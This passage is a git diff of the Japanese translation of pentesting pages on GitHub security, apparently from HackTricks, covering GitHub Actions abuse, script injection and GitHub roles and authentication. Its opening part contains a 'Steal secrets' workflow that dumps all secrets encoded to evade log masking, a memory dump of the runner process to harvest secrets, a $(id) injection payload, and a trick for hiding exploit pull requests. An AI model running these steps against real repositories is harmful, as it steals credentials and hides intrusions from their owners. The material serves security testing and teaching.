-- secrets contextを使ってすべてのsecretsを列挙します（collaborator level）。書き込み権限を持つcontributorは任意のブランチのworkflowを変更して、リポジトリ/org/environmentのすべてのsecretsをダンプできます。GitHubのログマスキングを回避するためにdouble base64を使い、ローカルでデコードしてください:
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
 
 ```yaml
 name: Steal secrets
@@ -558,35 +557,35 @@ run: |
 echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
 ```
 
-ローカルでデコード:
+Decode locally:
 
 ```bash
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Tip: テスト時のステルスのため、出力前に暗号化してください（opensslはGitHub-hosted runnersにプリインストールされています）。
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
 
-### Self-hosted runnersの悪用
+### Self-hosted runners の悪用
 
-非GitHubインフラで実行されている**Github Actionsを見つける方法**は、Github Action設定yamlで**`runs-on: self-hosted`**を検索することです。
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
 
-**Self-hosted** runnersは**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。たとえ隔離され破棄される場合でも、**複数のactionが同時に実行されることがあり**、悪意あるものが他のactionの**secretsを奪う**可能性があります。
+**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
 
-self-hosted runnersでは、メモリをダンプすることで、ワークフローの任意のステップのすべてのsecretsを含む**secrets from the \_Runner.Listener**\_\*\* process\*\*を取得することも可能です:
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
 Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images レジストリ
+### Github Docker イメージのレジストリ
 
-Github actions を使って **Docker image をビルドして Github 内に保存する** ワークフローを作成することが可能です。\
-例は以下の展開可能なセクションにあります:
+Github actions を使って **Docker イメージを Github 内にビルドして保存する** ワークフローを作成できます。\
+以下の折りたたみで例を確認できます:
 
 <details>
 
-<summary>Github Action Build & Push Docker Image</summary>
+<summary>Github Action - Docker イメージのビルドとプッシュ</summary>
 ```yaml
 [...]
 
@@ -617,31 +616,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-前述のコードから分かるように、Github レジストリは **`ghcr.io`** にホストされています。
+前のコードでわかるように、Github レジストリは **`ghcr.io`** にホストされています。
 
-リポジトリに対して読み取り権限を持つユーザーは、personal access token を使用して Docker Image をダウンロードできます:
+リポジトリに対して read permissions を持つユーザーは、personal access token を使って Docker Image をダウンロードできるようになります:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-その後、ユーザーは**leaked secrets in the Docker image layers:**を検索できます：
+その後、ユーザーは **leaked secrets in the Docker image layers:** を検索できます。
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actions ログの機密情報
+### Sensitive info in Github Actions logs
 
-たとえ**Github**がアクションログ内の**シークレット値を検出し**、**表示を抑える**ようにしても、アクション実行中に生成され得る**その他の機密データ**は隠されません。例えば、秘密値で署名されたJWTは[特別に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)非表示になりません。
+たとえ **Github** が Actions のログ内の機密値を検出してそれらを表示しないようにしても、アクション実行中に生成される可能性のある **他の機密データ** は隠されません。例えば、秘密値で署名された JWT は [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) されていない限り隠されません。
 
-## 痕跡の隠蔽
+## Covering your Tracks
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成されたPRはGithub上で公衆およびターゲットのGitHubアカウントから明確に見えます。GitHubではデフォルトでインターネット上のPRを**削除することはできません**が、ここにひとつの裏技があります。Githubによってアカウントが**suspended**されると、そのアカウントのすべての**PRsは自動的に削除され**インターネットから取り除かれます。したがって、自分の活動を隠すには、自分の**GitHub account suspended or get your account flagged**ように仕向ける必要があります。これによりGitHub上のあなたのすべての活動がインターネットから**隠されます**（基本的にはエクスプロイトPRをすべて削除することになります）。
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成した PR は Github 上で一般に公開され、ターゲットの GitHub アカウントにも明確に表示されます。GitHub ではデフォルトでインターネット上の PR を削除することはできませんが、ここに落とし穴があります。Github がアカウントを **suspended** すると、そのアカウントのすべての **PR は自動的に削除され** インターネットから消えます。したがって、自分の活動を隠すには、自分の **GitHub account suspended or get your account flagged** される必要があります。これにより GitHub 上のあなたのすべての活動がインターネットから **隠されます**（基本的にあなたの exploit PR をすべて削除することになります）。
 
 An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
 
 > [!WARNING]
-> 組織が自分たちが標的になったことを把握する唯一の方法は、GitHub UIからはPRが削除されるため、SIEMからGitHubログを確認することです。
+> 組織が自分たちが狙われたことに気づくための唯一の方法は、GitHub の UI からは PR が削除されてしまうため、SIEM から GitHub ログを確認することです。
 
 ## References
 
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 478c18c4c..563608674 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -4,18 +4,18 @@
 
 ## リスクの理解
 
-GitHub Actions は、ステップ実行前に ${{ ... }} 式をレンダリングします。レンダリングされた値はステップのプログラムに貼り付けられます（for run steps, a shell script）。未検証の入力を run: 内に直接埋め込むと、攻撃者がシェルプログラムの一部を制御して任意のコマンドを実行できます。
+GitHub Actions はステップが実行される前に ${{ ... }} の式をレンダリングします。レンダリングされた値はステップのプログラムに貼り付けられます（run ステップならシェルスクリプト）。run: 内に信頼できない入力を直接埋め込むと、攻撃者がシェルプログラムの一部を制御でき、任意のコマンドを実行される可能性があります。
 
-ドキュメント: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
-要点:
-- レンダリングは実行の前に行われます。run スクリプトはすべての式が解決された状態で生成され、その後 shell によって実行されます。
-- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- Shell quoting inside run: は信頼できる防御ではありません。インジェクションはテンプレートのレンダリング段階で発生するため、攻撃者はクォートを破ったり細工された入力で演算子を注入したりできます。
+重要なポイント:
+- レンダリングは実行前に行われます。run スクリプトはすべての式が解決された状態で生成され、その後シェルで実行されます。
+- 多くのコンテキストは、トリガーイベント（issues、PRs、comments、discussions、forks、stars など）に応じてユーザーが制御するフィールドを含みます。詳細は untrusted input reference を参照してください: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- run: 内のシェルのクォートは信頼できる防御策ではありません。インジェクションはテンプレートのレンダリング段階で発生するため、攻撃者はクォートを破ったり、巧妙な入力で演算子を注入したりできます。
 
-## 脆弱なパターン → RCE on runner
+## 脆弱なパターン → runner上での RCE
 
-脆弱なワークフロー（誰かが新しい issue を開いたときにトリガーされる）:
+脆弱なワークフロー（誰かが新しい issue を開いたときにトリガーされます）：
 ```yaml
 name: New Issue Created
 on:
@@ -36,20 +36,20 @@ with:
 github_token: ${{ secrets.GITHUB_TOKEN }}
 labels: new
 ```
-攻撃者がタイトルを $(id) にした issue を開くと、レンダリングされたステップは次のようになります:
+攻撃者が $(id) をタイトルにした issue を開くと、レンダリングされたステップは次のようになります:
 ```sh
 echo "New issue $(id) created"
 ```
-コマンド置換はランナー上で id を実行します。出力例：
+コマンド置換は runner 上で id を実行します。出力例:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
-クォートでは防げない理由:
-- 式はまずレンダリングされ、その結果できたスクリプトが実行されます。未検証の値に $(...), `;`, `"`/`'`, または改行が含まれていると、クォートしていてもプログラム構造を変更してしまう可能性があります。
+なぜ引用はあなたを守れないのか:
+- 式はまず展開され、その結果できたスクリプトが実行されます。信頼できない値に $(...), `;`, `"`/`'`, または改行が含まれていると、引用していてもプログラム構造を変更される可能性があります。
 
 ## 安全なパターン (shell variables via env)
 
-正しい対策: 未検証の入力を環境変数にコピーし、run スクリプト内でネイティブなシェル展開（$VAR）を使います。コマンド内で再び ${{ ... }} に埋め込んではいけません。
+Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
 ```yaml
 # safe
 jobs:
@@ -66,24 +66,24 @@ echo "New issue $TITLE created"
 - Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
 - Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
 
-## 読者によりトリガー可能な箇所（未信頼として扱う）
+## 読者がトリガーできるサーフェス（未検証として扱う）
 
-公開リポジトリに対して読み取り権限のみのアカウントでも多くのイベントをトリガーできます。これらのイベントから派生するコンテキスト内の任意のフィールドは、十分に検証されない限り攻撃者に制御されるものと見なすべきです。例:
+public repositories に対して読み取りのみの権限しか持たないアカウントでも、多くのイベントをトリガーできます。これらのイベントに由来するコンテキスト内の任意のフィールドは、反証されない限り攻撃者制御下にあると見なすべきです。例:
 - issues, issue_comment
 - discussion, discussion_comment (orgs can restrict discussions)
 - pull_request, pull_request_review, pull_request_review_comment
-- pull_request_target (誤用すると危険、base repo コンテキストで実行される)
-- fork (誰でも public repos を fork できる)
-- watch (リポジトリにスターを付けること)
-- workflow_run/workflow_call チェーン経由で間接的に
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
 
-どの具体的なフィールドが攻撃者に制御されるかはイベントごとに異なります。GitHub Security Lab の untrusted input guide を参照してください: https://securitylab.github.com/resources/github-actions-untrusted-input/
+どの特定のフィールドが攻撃者制御下にあるかはイベントごとに異なります。詳細は GitHub Security Lab の未検証入力に関するガイドを参照してください: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
 ## 実用的なヒント
 
-- run: 内での expressions の使用を最小限にする。env: マッピング + $VAR を優先してください。
-- 入力を変換する必要がある場合は、シェルで安全なツール（printf %q、jq -r、など）を使用して処理し、常にシェル変数から始めてください。
-- ブランチ名、PR タイトル、ユーザー名、ラベル、discussion タイトル、PR head refs をスクリプト、コマンドラインフラグ、またはファイルパスに埋め込む際は特に注意してください。
+- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
+- 入力を変換する必要がある場合は、シェル内で安全なツール（printf %q、jq -r 等）を使って行い、始点はシェル変数にしてください。
+- ブランチ名、PR titles、ユーザー名、ラベル、ディスカッションタイトル、PR head refs をスクリプト、コマンドラインフラグ、またはファイルパスに挿入する際は特に慎重になってください。
 - 再利用可能な workflows や composite actions に対しても同じパターンを適用してください: env にマップしてから $VAR を参照する。
 
 ## References
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 1fc6148d0..15fa16393 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,156 +1,156 @@
-# Githubの基本情報
+# 基本的な Github 情報
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## 基本構造
 
-大きな**company**の基本的なgithub環境構造は、**enterprise**を所有し、そのenterpriseが**複数のorganizations**を所有し、それぞれが**複数の repositories**や**複数の teams**を含む可能性がある、というものです。小規模な会社は**1つのorganizationのみを所有し、enterpriseを持たない**場合もあります。
+大企業の基本的な github 環境構成は、複数の **organizations** を所有する **enterprise** を持ち、それぞれの organization が **複数の repositories** や **複数の teams** を含む、というものです。小規模な会社は **1つの organization を所有し enterprise を持たない** 場合があります。
 
-ユーザの観点からは、**user**は**異なるenterpriseやorganizationのmember**である可能性があります。これらの中でuserは**enterprise、organization、repositoryごとに異なる役割**を持つことがあります。
+ユーザーの観点では、**user** は **異なる enterprises や organizations の member** になり得ます。所属先ごとに **enterprise、organization、repository の異なる roles** を持つことがあります。
 
-さらに、userは**異なるチームに所属**しており、チームごとにenterprise、organization、またはrepositoryの異なる役割を持つことがあります。
+さらに、ユーザーは異なる **teams** に所属し、チームごとに enterprise、organization、repository の異なる roles を持つことがあります。
 
-最後に、**repositoriesには特別な保護メカニズムがある場合があります。**
+そして最終的に、**repositories には特別な保護機構が存在することがあります**。
 
-## Privileges
+## 権限
 
 ### Enterprise Roles
 
-- **Enterprise owner**: この役割を持つ人は **administratorsの管理、enterprise内のorganizations管理、enterprise設定の管理、organizations全体に対するポリシーの適用** ができます。ただし、organization ownerにされるかorganization所有のrepositoryへの直接アクセス権を与えられない限り、**organization設定やコンテンツへアクセスすることはできません。**
-- **Enterprise members**: enterpriseが所有するorganizationsのメンバーは**自動的にenterpriseのmembersにもなります。**
+- **Enterprise owner**: この role を持つ人は **管理者の管理、enterprise 内の organizations の管理、enterprise 設定の管理、組織横断のポリシーの強制** が可能です。ただし、organization owner に設定されているか、organization 所有の repository への直接アクセスが与えられていない限り、**organization の設定やコンテンツにアクセスすることはできません**。
+- **Enterprise members**: あなたの enterprise が所有する organizations のメンバーは **自動的に enterprise のメンバー** でもあります。
 
 ### Organization Roles
 
-Organization内ではユーザは異なる役割を持てます:
+組織内ではユーザーは異なる roles を持てます:
 
-- **Organization owners**: Organization ownersは**organizationに対する完全な管理アクセス**を持ちます。この役割は制限すべきですが、組織内で2人未満にしてはいけません。
-- **Organization members**: 組織内の人々に対する**デフォルトの非管理者ロール**はorganization memberです。デフォルトで、organization membersは**一定の権限を持ちます**。
-- **Billing managers**: Billing managersは、支払い情報など**organizationのbilling設定を管理できるユーザ**です。
-- **Security Managers**: Organization ownersがorganization内の任意のチームに割り当てられる役割です。適用されると、そのチームの全メンバーに**organization全体のsecurity alertsや設定の管理権限、ならびにorganization内のすべてのrepositoriesに対する読み取り権限**を与えます。
-- organizationにsecurity teamがある場合、security managerロールを使用してチームメンバーに組織への最小限のアクセスを与えることができます。
-- **Github App managers**: 組織が所有するGitHub Appsの管理を追加のユーザに許可するため、ownerは彼らにGitHub App manager権限を付与できます。
-- **Outside collaborators**: Outside collaboratorは**1つ以上のorganizationのrepositoryにアクセスを持つが、明示的にorganizationのmemberではない人**です。
+- **Organization owners**: Organization owners は **組織に対する完全な管理アクセス** を持ちます。この role は制限すべきですが、組織内では少なくとも二人以上にしておくべきです。
+- **Organization members**: 組織内の人々のための **デフォルトの非管理者 role** が organization member です。デフォルトでは、organization members は **複数の権限** を持っています。
+- **Billing managers**: Billing managers は **組織の請求設定（支払い情報など）を管理できる** ユーザーです。
+- **Security Managers**: これは organization owners が組織内の任意のチームに割り当てることができる role です。適用されると、そのチームの全メンバーに **組織全体のセキュリティアラートと設定の管理権限、および組織内のすべてのリポジトリに対する読み取り権限** が与えられます。
+- 組織に security team がある場合、security manager role を使ってチームメンバーに組織への最低限のアクセスを与えることができます。
+- **Github App managers**: 組織が所有する GitHub Apps を **管理できるように追加のユーザーを許可するために**、owner は GitHub App manager 権限を付与できます。
+- **Outside collaborators**: Outside collaborator は **1つ以上の organization リポジトリにアクセス権があるが、明示的に組織のメンバーではない人** です。
 
-これらの役割の権限を比較するにはこの表を参照してください: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+これらの roles の権限はこの表で **比較できます**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Members Privileges
 
-_https://github.com/organizations/\<org_name>/settings/member_privileges_ では、**organizationに所属しているだけのユーザが持つ権限**を確認できます。
+_in_ https://github.com/organizations/\<org_name>/settings/member_privileges_ では、**組織に所属しているだけでユーザーが持つ権限** を確認できます。
 
-ここで設定された内容は組織メンバーの以下の権限を示します:
+ここで設定される項目は、組織メンバーの以下の権限を示します:
 
-- 組織の全リポジトリに対して admin, writer, reader または権限なし のいずれかを持つかどうか。
-- メンバーが private、internal、public リポジトリを作成できるかどうか。
+- 組織内の全リポジトリに対して admin、writer、reader、または権限なし のいずれかになるか。
+- メンバーが private、internal、public のリポジトリを作成できるか。
 - リポジトリの fork が可能かどうか。
 - Outside collaborators を招待できるかどうか。
-- public または private sites を公開できるかどうか。
-- administrators がリポジトリに対して持つ権限。
+- public または private のサイトを公開できるかどうか。
+- 管理者がリポジトリに対して持つ権限。
 - メンバーが新しい teams を作成できるかどうか。
 
 ### Repository Roles
 
-デフォルトでリポジトリのロールは以下が作成されます:
+デフォルトで以下の repository roles が用意されています:
 
-- **Read**: プロジェクトを閲覧または議論したい**非コード貢献者**に推奨。
-- **Triage**: 書き込み権限なしで **issues と pull requests を能動的に管理する必要がある貢献者**に推奨。
-- **Write**: プロジェクトに**積極的に push する貢献者**に推奨。
-- **Maintain**: 敏感または破壊的な操作へのアクセスなしで**リポジトリを管理するプロジェクトマネージャー**に推奨。
-- **Admin**: セキュリティ管理やリポジトリ削除などの敏感で破壊的な操作を含む、**プロジェクトに対するフルアクセスが必要な人**に推奨。
+- **Read**: プロジェクトを閲覧したり議論したりしたい **非コード貢献者向けに推奨** されます
+- **Triage**: 書き込みアクセスなしで **issues や pull requests を能動的に管理する必要がある貢献者向けに推奨** されます
+- **Write**: **積極的にプロジェクトへ push する貢献者向けに推奨** されます
+- **Maintain**: **機密性や破壊的な操作へのアクセスなしにリポジトリを管理する必要があるプロジェクトマネージャ向けに推奨** されます
+- **Admin**: セキュリティ管理やリポジトリの削除などの機密的・破壊的操作を含む **プロジェクトへのフルアクセスが必要な人向けに推奨** されます
 
-各ロールの権限を比較するにはこの表を参照してください: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+各 role の権限はこの表で **比較できます**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-独自のロールを作成することもできます: _https://github.com/organizations/\<org_name>/settings/roles_
+また、_https://github.com/organizations/\<org_name>/settings/roles_ で **独自の roles を作成** することもできます。
 
 ### Teams
 
-組織内で作成されたチームを一覧表示するには _https://github.com/orgs/\<org_name>/teams/_ を参照してください。子チーム（他のチームの子）を表示するには各親チームにアクセスする必要がある点に注意してください。
+_https://github.com/orgs/\<org_name>/teams/_ で組織内に作成された **teams の一覧** を確認できます。親チームの子チームを表示するには、各親チームにアクセスする必要がある点に注意してください。
 
 ### Users
 
-組織のユーザは _https://github.com/orgs/\<org_name>/people._ で**一覧表示**できます。
+組織のユーザーは _https://github.com/orgs/\<org_name>/people._ で **一覧表示** できます。
 
-各ユーザの情報では、そのuserが**所属しているteams**や**アクセス権を持つrepos**を確認できます。
+各ユーザーの情報から、そのユーザーが **所属している teams** と **アクセス権を持つ repos** を確認できます。
 
 ## Github Authentication
 
-Githubはアカウントに認証し、代わりにアクションを実行するためのさまざまな方法を提供します。
+Github はアカウントに認証し、ユーザーに代わって操作を行うためのさまざまな方法を提供しています。
 
 ### Web Access
 
-**github.com**にアクセスすると、**username と password**（および**2FA**の場合あり）でログインできます。
+**github.com** にアクセスして、**username と password**（および場合によっては **2FA**）でログインできます。
 
 ### **SSH Keys**
 
-アカウントに1つまたは複数のpublic keysを設定すると、対応する**private keyがあなたに代わってアクションを実行できる**ようになります。 [https://github.com/settings/keys](https://github.com/settings/keys)
+アカウントに1つまたは複数の public keys を設定すると、対応する **private key があなたに代わって操作を行える** ようになります。 [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-これらのkeysで**ユーザをなりすますことはできません**が、署名なしでコミットを送ると**発覚する可能性がある**ため、使用していないと検出されることがあります。[vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) を参照してください。
+これらの keys でユーザーを偽装することは **できません** が、署名なしでコミットを送ると検出される可能性があるため、使用しない場合は注意が必要です。vigilant mode については [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) を参照してください。
 
 ### **Personal Access Tokens**
 
-personal access tokenを生成して、**アプリケーションにあなたのアカウントへのアクセスを与える**ことができます。personal access tokenを作成する際、**userはtokenが持つ権限を指定する必要があります。** [https://github.com/settings/tokens](https://github.com/settings/tokens)
+personal access token を生成して **アプリケーションにあなたのアカウントへのアクセスを与える** ことができます。personal access token を作成するとき、**user は token が持つ権限を指定する必要があります。** [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth applicationsはあなたのgithub情報の一部にアクセスする、またはあなたをなりすましていくつかのアクションを実行するための権限を要求することがあります。一般的な例としては、他のプラットフォームで見かける**login with github ボタン**があります。
+Oauth applications はあなたの github 情報の一部にアクセスしたり、あなたを偽装してアクションを実行したりするための権限を要求することがあります。一般的な例はプラットフォーム上で見かける **login with github button** です。
 
-- 自分の **Oauth applications** は [https://github.com/settings/developers](https://github.com/settings/developers) で作成できます。
-- あなたのアカウントにアクセス権を持つ **Oauth applications** の一覧は [https://github.com/settings/applications](https://github.com/settings/applications) で確認できます。
-- Oauth Appsが要求できる **scopes** は [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で確認できます。
-- 組織におけるサードパーティアプリケーションのアクセスは _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で確認できます。
+- 自分の **Oauth applications** は [https://github.com/settings/developers](https://github.com/settings/developers) で **作成** できます
+- あなたのアカウントにアクセス権を持つ **Oauth applications 一覧** は [https://github.com/settings/applications](https://github.com/settings/applications) で確認できます
+- Oauth Apps が要求できる **scopes** は [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で確認できます
+- 組織におけるサードパーティアプリのアクセスは _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で確認できます
 
-いくつかの**セキュリティ推奨**:
+いくつかの **セキュリティ推奨**:
 
-- **OAuth App**は常に**認証されたGitHubユーザとしてGitHub全体で動作**すべき（例：ユーザ通知の提供時など）、かつ指定されたscopeのみにアクセスするべきです。
-- OAuth Appは"Login with GitHub"を有効にすることで、identity providerとして使えます。
-- **単一のリポジトリ上でアプリを動かしたい場合はOAuth Appを構築しないでください。** `repo` OAuth scopeを使うと、OAuth Appsは**認証ユーザのすべての repositories に対して動作できてしまいます。**
-- **チームや会社として動作させたいだけならOAuth Appを作らないでください。** OAuth Appsは**単一のユーザとして認証**するため、ある人が会社用にOAuth Appを作成して退職すると、他の人がアクセスできなくなります。
-- 詳細は [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) を参照してください。
+- **OAuth App** は常に **認証された GitHub ユーザーとして GitHub 全体で動作すべき**（例：ユーザー通知の提供時）で、指定された scopes のみへのアクセスに留めるべきです。
+- OAuth App は「Login with GitHub」を有効にすることで識別プロバイダーとして使えます。
+- **単一のリポジトリだけを操作したい場合に OAuth App を作るべきではありません。** `repo` OAuth scope を与えると、OAuth Apps は**認証されたユーザーのすべての repositories に対して動作できてしまいます**。
+- **チームや会社向けのアプリとして OAuth App を作るべきではありません。** OAuth Apps は**単一ユーザーとして認証**されるため、ある人が会社用に OAuth App を作成して退職すると、他の人はその OAuth App にアクセスできなくなります。
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Github applicationsは特定のリソースに対して**github情報へのアクセスやなりすましを行う権限**を要求できます。Github Appsではアプリがアクセスするrepositoriesを指定する必要があります。
+Github applications は特定のリソースに対して **あなたの github 情報へアクセスしたり、あなたを偽装して特定の操作を行ったり** する権限を要求できます。Github Apps では、アプリがアクセスする repositories を指定する必要があります。
 
-- GitHub Appをインストールするには、**organization ownerであるかリポジトリのadmin権限を持っている必要**があります。
-- GitHub Appは**personal accountかorganization**に接続する必要があります。
-- 自分のGithub applicationは [https://github.com/settings/apps](https://github.com/settings/apps) で作成できます。
-- あなたのアカウントにアクセス権を持つ **Github applications** の一覧は [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で確認できます。
-- これらが **Github ApplicationsのAPIエンドポイント** です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて一部にアクセスできます。
-- 組織にインストールされている apps は _https://github.com/organizations/\<org_name>/settings/installations_ で確認できます。
+- GitHub App をインストールするには、**organisation owner であるかリポジトリでの admin 権限が必要** です。
+- GitHub App は **personal account か organisation に接続** するべきです。
+- 自分の Github application は [https://github.com/settings/apps](https://github.com/settings/apps) で作成できます
+- あなたのアカウントにアクセス権を持つ **Github applications 一覧** は [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で確認できます
+- これらは Github Applications の **API Endpoints** です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。App の権限次第でこれらの一部にアクセスできます
+- 組織にインストールされているアプリは _https://github.com/organizations/\<org_name>/settings/installations_ で確認できます
 
 いくつかのセキュリティ推奨:
 
-- GitHub Appは**ユーザとは独立して動作すべき**です（ただしアプリが[user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) トークンを使用している場合を除く）。user-to-serverアクセスをより安全に保つため、8時間で期限切れになるaccess tokensや、新しいaccess tokenに交換可能なrefresh tokenを使用できます。詳細は "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." を参照してください。
-- GitHub Appが**特定のrepositoriesと統合されていることを確認**してください。
-- GitHub Appは**personal accountかorganization**に接続するべきです。
-- GitHub Appにユーザができることをすべて期待しないでください。
-- **単に"Login with GitHub"サービスが必要なだけならGitHub Appを使わないでください。** ただし、GitHub Appは[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) を使ってユーザをログインさせつつ他の操作を行うことができます。
-- GitHub userとしてのみ動作させたい場合はGitHub Appを作らないでください。
-- GitHub Actionsと連携してワークフローファイルを変更したい場合、`workflow` scopeを含むOAuth tokenでユーザを代理して認証する必要があります。ユーザはそのワークフローファイルを含むリポジトリに対してadminまたはwrite権限を持っている必要があります。詳細は "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." を参照してください。
-- 詳細は [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) を参照してください。
+- GitHub App は **ユーザーから独立してアクションを行うべき**（ただし app が [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) トークンを使用している場合を除く）。user-to-server access tokens をより安全に保つために、8時間で期限切れになる access token と、新しい access token に交換できる refresh token を使うことができます。詳細は "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." を参照してください。
+- GitHub App が **特定の repositories と統合されていることを確認**してください。
+- GitHub App は **personal account か organisation に接続** するべきです。
+- GitHub App にユーザーができることをすべて期待しないでください。
+- **単に "Login with GitHub" サービスが必要なだけなら GitHub App を使わないでください。** ただし、GitHub App は [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) を使ってユーザーをログインさせつつ他の操作も行えます。
+- ユーザーと同じ権限で動作させたいだけなら GitHub App を作るべきではありません。
+- GitHub Actions とアプリを組み合わせて workflow ファイルを変更したい場合、`workflow` scope を含む OAuth トークンでユーザーを代表して認証する必要があります。ユーザーはワークフローファイルを含むリポジトリに対して admin または write 権限を持っている必要があります。詳細は "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." を参照してください。
